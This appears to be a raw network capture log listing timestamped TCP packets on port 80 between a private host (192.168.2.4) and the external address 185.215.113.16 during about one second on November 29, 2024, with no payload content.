Nov 29, 2024 20:07:39.954005003 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.954093933 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.954133034 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.954225063 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.954689026 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.954864025 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.954960108 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.955353022 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.955429077 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.955466032 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.955815077 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.956198931 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.956288099 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.956382990 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.956765890 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.956856012 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.956857920 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.956964016 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.957458019 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.957544088 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.957581043 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.958000898 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.958291054 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.958400011 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.958432913 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.958961964 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.959052086 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.959070921 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.959213972 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.959673882 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.959790945 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.959881067 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.960431099 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.960505009 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.960530996 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.960848093 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.961155891 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.961258888 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.961265087 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.961380959 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.961926937 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.962025881 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.962060928 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.962291002 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.962877989 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.962943077 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.963054895 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.963792086 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.963843107 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.964534044 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.964643955 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.964653969 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.964937925 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.965233088 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.965328932 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.965344906 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.965461969 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.965974092 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.966057062 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.966068029 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.966181993 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.966842890 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.966938972 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.966972113 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.967075109 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.967623949 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.967757940 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.967798948 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.967894077 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.968431950 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.968643904 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.968816042 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.969261885 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.969355106 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.969386101 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.969480991 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.969818115 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.970019102 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.970027924 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.970168114 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.970669985 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.970815897 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.970822096 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.970968008 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.971390009 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.971463919 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.971486092 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.971564054 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.972071886 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.972119093 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.972160101 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.972635984 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.972940922 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.973125935 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.973139048 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.973221064 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.973640919 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.973716021 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.973746061 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.973797083 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.974237919 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.974306107 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.974332094 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.974721909 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.974975109 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.975150108 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.975166082 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.975227118 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.975630999 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.975702047 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.975735903 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.975825071 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.976372957 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.976497889 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.976526976 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.976797104 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.977066040 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.977157116 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.977165937 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.977252960 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.129936934 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.130088091 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.130242109 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.130341053 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.130347013 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.130803108 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.130920887 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.130983114 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.130983114 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.131552935 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.131561995 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.131732941 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.131907940 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.131994009 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.132613897 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.132673025 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.132708073 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.133342028 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.133423090 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.133516073 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.134090900 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.134188890 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.134275913 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.134821892 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.134941101 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.135040998 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.135561943 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.135618925 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.135704041 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.136229992 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.136358023 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.136446953 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.136979103 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.137110949 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.137196064 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.137681007 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.137811899 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.137897015 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.138417959 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.138516903 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.139117002 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.139216900 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.139266014 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.139902115 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.139960051 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.139991999 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.140557051 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.140620947 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.140654087 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.141313076 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.141402960 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.141411066 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.142030954 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.142083883 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.142092943 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.142291069 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.142728090 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.142846107 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.143467903 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.143574953 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.143575907 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.144161940 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.144267082 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.144287109 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.144906044 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.144994974 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.145065069 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.145637035 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.145695925 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.145720959 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.146349907 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.146401882 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.146579027 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.146675110 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.147053003 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.147113085 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.147241116 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.147790909 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.147882938 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.147968054 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.148505926 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.148648024 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.148750067 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.149228096 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.149346113 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.149444103 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.149949074 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.150127888 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.150216103 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.150665998 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.150768042 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.151381969 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.151501894 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.151515007 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.152111053 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.152204037 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.152220964 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.152813911 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.152905941 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.152976036 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.153544903 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.153630972 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.153633118 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.154298067 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.154392004 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.154402971 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.154522896 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.155159950 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.155210972 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.155320883 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.155736923 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.155824900 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.155920982 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.156440973 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.156528950 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.156610966 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.157144070 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.157216072 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.157296896 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.157866001 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.158113003 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.158222914 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.158577919 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.158706903 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.159380913 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.159393072 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.159502983 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.160043955 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.160200119 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.160294056 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.160778999 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.160991907 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.161087990 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.161475897 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.161616087 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.161705017 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.162201881 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.162369967 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.162394047 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.162972927 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.163069010 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.163156033 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.163644075 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.163738966 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.163767099 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.164378881 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.164463997 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.164491892 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.165103912 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.165189028 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.165204048 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.165815115 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.165905952 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.165941954 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.166397095 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.166528940 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.166635990 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.166733980 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.167283058 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.167373896 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.167469025 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.322071075 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.322163105 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.322182894 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.322313070 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.322345018 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.322401047 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.322494030 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.322541952 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.323072910 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.323115110 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.323154926 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.323199987 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.323791027 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.323838949 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.324012995 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.324069977 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.324086905 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.324127913 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.324809074 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.324903011 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.325004101 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.325054884 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.325670004 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.325725079 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.325759888 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.325833082 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.326325893 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.326450109 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.326494932 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.326917887 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.326981068 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.327002048 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.327049017 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.327594995 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.327693939 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.327706099 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.327780962 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.328334093 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.328352928 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.328393936 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.329067945 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.329104900 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.329123974 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.329163074 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.329761028 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.329822063 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.329850912 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.329895973 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.330522060 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.330590963 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.330746889 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.330817938 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.331238985 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.331293106 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.331362009 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.331420898 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.331934929 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.332024097 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.332041025 CET	80	50071	185.215.113.16	192.168.2.4
